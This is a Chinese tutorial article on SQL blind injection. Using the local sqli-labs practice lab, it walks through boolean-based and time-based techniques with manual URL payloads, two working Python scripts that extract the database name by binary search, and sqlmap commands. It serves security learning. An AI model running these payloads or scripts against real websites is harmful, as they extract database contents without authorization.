深入理解SQL盲注

 更新时间:2024年01月30日 15:11:06   作者:未知百分百  
本文主要介绍了深入理解SQL盲注,主要介绍了布尔盲注和时间盲注,文中通过示例代码介绍的非常详细,对大家的学习或者工作具有一定的参考学习价值,需要的朋友们下面随着小编来一起学习学习吧

前面和大家分享了SQL注入的介绍、联合查询和一些技巧、报错注入,那么本篇我们和大家继续学习SQL注入的相关知识和实验,本篇是SQL注入中的盲注,那么现在我们开始ヾ(◍°∇°◍)ノ゙

什么是盲注?

在现代的web中对输入的内容会做很严格的限制,并且在默认情况下都是不会显示错误信息,因此前面学习的联合查询和报错注入都无法利用来注入了,因此我们需要使用"盲注"来进行SQL注入,所谓的盲注就是在服务器没有错误信息会显示完成注入攻击,但是服务器不会显示错误信息,我们就需要找到一个方法来验证SQL语句是否被执行

SQL盲注中常用的几个函数:

  • ascii(str): str是一个字符串参数,返回值为其最左侧字符的ascii码。通过它,我们才能确定特定的字符。
  • substr(str,start,len): 这个函数是取str中从下标start开始的,长度为len的字符串。通常在盲注中用于取出单个字符,交给ascii函数来确定其具体的值。
  • length(str): 这个函数是用来获取str的长度的。这样我们才能知道需要通过substr取到哪个下标。
  • count([column]): 这个函数是用来统计记录的数量的,其在盲注中,主要用于判断符合条件的记录的数量,并逐个破解。
  • if(condition,a,b): 当condition为true的时候,返回a,当condition为false的时候,返回b。

布尔盲注

这种类型的盲注依赖于页面返回结果的单一状态,通常只有“正常”或“错误”。攻击者会构造一个包含布尔表达式(如`IF`条件判断)的SQL查询,然后检查页面是否正确地返回了正确的结果。如果正确,那么可能意味着查询成功访问到了数据库中的数据。

最常见的盲注的验证方法是,构造简单的条件语句,然后根据返回的页面是否发生变化,来判断SQL语句是否被执行,我们可以利用sqli-labs靶场中的第8关来演示一下:

这里传入的是and 1=1 是一个恒真的值,因此页面是下面这样的:

然后再传入一个and 1=2 是一个恒假的值 ,因此页面是下面这样的

可以看到,这里就是两个完全不同的两个页面,也就说明是存在SQL盲注的漏洞点的,这种利用注入 的方式也就是布尔盲注

下面我们就可以使用下面这三种方式来进行布尔盲注

手工注入

利用上面的那些函数我们可以通过不断的变换范围来观察页面的响应来不断判断,直到判断到最后可以确定到一个值,比如我们可以先使用 length函数 + 二分法来尝试一下:

?id=1' and (select length(database())>1) and 1=1  --+ true
?id=1' and (select length(database())>10) and 1=1  --+  flase
?id=1' and (select length(database())>5) and 1=1  --+ true
?id=1' and (select length(database())>6) and 1=1  --+ true
?id=1' and (select length(database())>8) and 1=1  --+ flase

通过页面的不同响应页面来判断数据库的长度是否是我们所指定的范围,最终可以得到数据库的名称的长度为7,得到了数据库的长度后,我们就可以再利用ascii函数+substr函数来修改字符串的范围,最终判断数据库的各个字符的ascii的值,最终就可以得到完整的数据库名称,比如:

?id=1' and ((select ascii(substr(database(),1,1)))>100) and 1=1 --+ true
?id=1' and ((select ascii(substr(database(),1,1)))>200) and 1=1 --+ flase
...
?id=1' and ((select ascii(substr(database(),1,1)))>114) and 1=1 --+ true 
?id=1' and ((select ascii(substr(database(),1,1)))>116) and 1=1 --+ false

根据不断的变换范围,最后得到了第一个字母的ascii码大于113但是不大于115,因此,它的ascii码就是114,对照ASCII码表,得到第一个字母为‘s’。同样的方法,我们可以变化substr()里面的第二个参数分别为2,3,4,5,6,7,最后可以获得接下来的其他七个字母,最终得到“security”。

这里就成功的注入出了数据库名称,然后通过这个方法,我们可以首先通过information_schema库中的tables表查看我们注入出的数据库下的所有的表的数量,然后我们按照limit的方法选取某个表,通过length得到它的名字的长度,随后就可以得到它的完整表名,同理通过columns表获得某个表下的所有字段数量,并且获得每个字段的名称长度和具体名称,最后就是查出指定表下的记录数量,并且根据字段去获取某条记录的某个字段值的长度,随后就是是获得该值的内容。

但是这样的手工方法会非常的费时费力,我们可以使用python写一个二分法查找的布尔盲注脚本来方便使用:

使用python脚本

注入出数据库名

脚本:

import requests

url = "http://127.0.0.1/sqli-labs/Less-8/"

def inject_database(url):
	name = ''

	for i in range(1, 100):
		low = 32
		high = 128
		mid = (low + high) // 2
		while low < high:
			payload = "1' and ascii(substr((select database()),%d,1)) > %d-- " % (i, mid)
			params = {"id": payload}
			r = requests.get(url, params=params)
			if "You are in..........." in r.text:
				low = mid + 1
			else:
				high = mid
			mid = (low + high) // 2

		if mid == 32:
			break
		name = name + chr(mid)
		print(name)
inject_database(url)

后面的表名,列名,数据,都可以使用类似的脚本注入出来,这里就不演示了

使用sqlmap

使用sqlmap进行时间盲注就非常简单了,直接将url输入到sqlmap中即可

sqlmap.py -u sqlmap -u  http://127.0.0.1/sqli-labs/Less-8/?id=1

时间盲注

这类盲注涉及使用具有延时功能的函数,如`sleep()`,来探测服务器何时处理完请求。攻击者可能会设置一个延时,观察服务器是否按照预期的时间间隔回复。如果服务器超时未响应,这可能表明存在漏洞,并且可以进一步尝试其他查询。

手工注入

因为页面不会回显任何正确或者错误的信息,所以我们通过时间来判断是否存在时间盲注根据我们的输入,来延时请求数据,观察请求时间是否存在延长,如果存在就是存在时间盲注,这里会使用if和sleep函数来进行判断

if的语法三元运算符函数

语法:IF(condition, value_if_true, value_if_false)

condition是一个条件表达式,如果条件成立,则返回value_if_true,否则返回value_if_false。

那么可以利用这一点来进行时间盲注

?id=1' and if(length(database())=1,sleep(5),1)--+ 延时
?id=1' and if(length(database())=10,sleep(5),1)--+ 正常
?id=1' and if(length(database())=7,sleep(5),1)--+  延时
?id=1' and if(length(database())=8,sleep(5),1)--+ 延正常

可以看到这里可以注入出数据库的长度是7,然后就是使用ascii+sleep来注入出数据库的名称

?id=1'and if(ascii(substr((select database()),1,1))=100,sleep(5),1)--+ 延时
?id=1'and if(ascii(substr((select database()),1,1))=200,sleep(5),1)--+ 正常
...
?id=1'and if(ascii(substr((select database()),1,1))=114,sleep(5),1)--+ 延时
?id=1'and if(ascii(substr((select database()),1,1))=116,sleep(5),1)--+ 正常
?id=1'and if(ascii(substr((select database()),1,1))=115,sleep(5),1)--+ 延时

可以看到注入出了数据库的第一个字符是ASCII的值为115,对应的是‘s’,然后就不断变换,最终得到数据库名为:security,那么现在数据库已经知道了,后面的表名、列名,数据都可以使用同样的方法注入出来了

但是还是一样这样的手工方法会非常的费时费力,我们可以使用python写一个二分法查找的时间盲注脚本来方便注入:

使用python脚本

注入出数据库名

脚本:

import requests
import time

url = "http://127.0.0.1/sqli-labs/Less-8/"

def inject_database(url):
    name = ''
    for i in range(1, 100):
        low = 32
        high = 128
        mid = (low + high) // 2
        while low < high:
            payload = "1' and (if(ascii(substr((select(database())),%d,1))>%d,sleep(1),0))and('1')=('1" % (i, mid)
            params = {"id": payload}
            start_time = time.time()  # 注入前的系统时间
            r = requests.get(url, params=params)
            end_time = time.time()  # 注入后的时间
            if end_time - start_time > 1:
                low = mid + 1
            else:
                high = mid
            mid = (low + high) // 2

        if mid == 32:
            break
        name = name + chr(mid)
        print(name)
inject_database(url)

后面的表名,列名,数据,都可以使用类似的脚本注入出来,这里就不演示了

使用sqlmap

使用sqlmap进行时间盲注就非常简单了,直接将url输入到sqlmap中即可

sqlmap.py -u sqlmap -u  http://127.0.0.1/sqli-labs/Less-8/?id=1

到此,SQL盲注的布尔盲注和时间盲注就全部演示完毕了,更多相关SQL盲注内容请搜索脚本之家以前的文章或继续浏览下面的相关文章希望大家以后多多支持脚本之家!

相关文章

  • SQL Server日期计算

    SQL Server日期计算

    SQL Server日期计算...
    2007-03-03
  • SQL Server内存遭遇操作系统进程压榨案例分析

    SQL Server内存遭遇操作系统进程压榨案例分析

    最近一台DB服务器偶尔出现CPU报警,我的邮件报警阈值设置的是15%,开始时没当回事,以为是有什么统计类的查询,后来越来越频繁
    2014-03-03
  • SQLServer中的触发器基本语法与作用

    SQLServer中的触发器基本语法与作用

    触发器是一种特殊类型的存储过程,它不同于之前的我们介绍的存储过程.触发器主要是通过事件进行触发被自动调用执行的。而存储过程可以通过存储过程的名称被调用。本文给大家介绍SQLServer中的触发器基本语法与作用,感兴趣的朋友一起学习吧
    2016-04-04
  • sql server学习基础之内存初探

    sql server学习基础之内存初探

    这篇文章主要给大家介绍了关于sql server中内存的相关资料,文中通过图文以及示例代码介绍的非常详细,对大家学习或者理解sql server具有一定的参考学习价值,需要的朋友们下面随着小编来一起学习学习吧
    2018-07-07
  • 磁盘缓存专题之一 缓存命中和缓存未命中&缓存与缓冲间的差异

    磁盘缓存专题之一 缓存命中和缓存未命中&缓存与缓冲间的差异

    在大多数计算机中,缓存是一个很重要的技术。事实上,计算机中的所有数据访问都可以看成是基本缓存概念的某种变体
    2012-08-08
  • group by 按某一时间段分组统计并查询(推荐)

    group by 按某一时间段分组统计并查询(推荐)

    这篇文章主要介绍了group by 按某一时间段分组统计并查询,本文给大家介绍的非常详细,对大家的学习或工作具有一定的参考借鉴价值,需要的朋友可以参考下
    2020-11-11
  • Transactional replication(事务复制)详解之如何跳过一个事务

    Transactional replication(事务复制)详解之如何跳过一个事务

    事务复制由 SQL Server 快照代理、日志读取器代理和分发代理实现。 快照代理准备快照文件(其中包含了已发布表和数据库对象的架构和数据),然后将这些文件存储在快照文件夹中,并在分发服务器中的分发数据库中记录同步作业。
    2014-08-08
  • SQLServer行列互转实现思路(聚合函数)

    SQLServer行列互转实现思路(聚合函数)

    这篇文章主要为大家详细介绍了SQLServer行列互转实现思路,使用聚合函数pivot/unpivot实现行列互转,感兴趣的小伙伴们可以参考一下
    2016-03-03
  • SQL CHECK约束的使用与优势

    SQL CHECK约束的使用与优势

    SQL CHECK约束是一种用于限制表中数据输入的规则,本文就来介绍一下SQL CHECK约束的使用方法,具有一定的参考价值,感兴趣的可以了解一下
    2025-12-12
  • 浅析SQLServer中的Scanf与Printf

    浅析SQLServer中的Scanf与Printf

    本篇文章是对SQLServer中的Scanf与Printf进行了详细的分析介绍,需要的朋友参考下
    2013-06-06

最新评论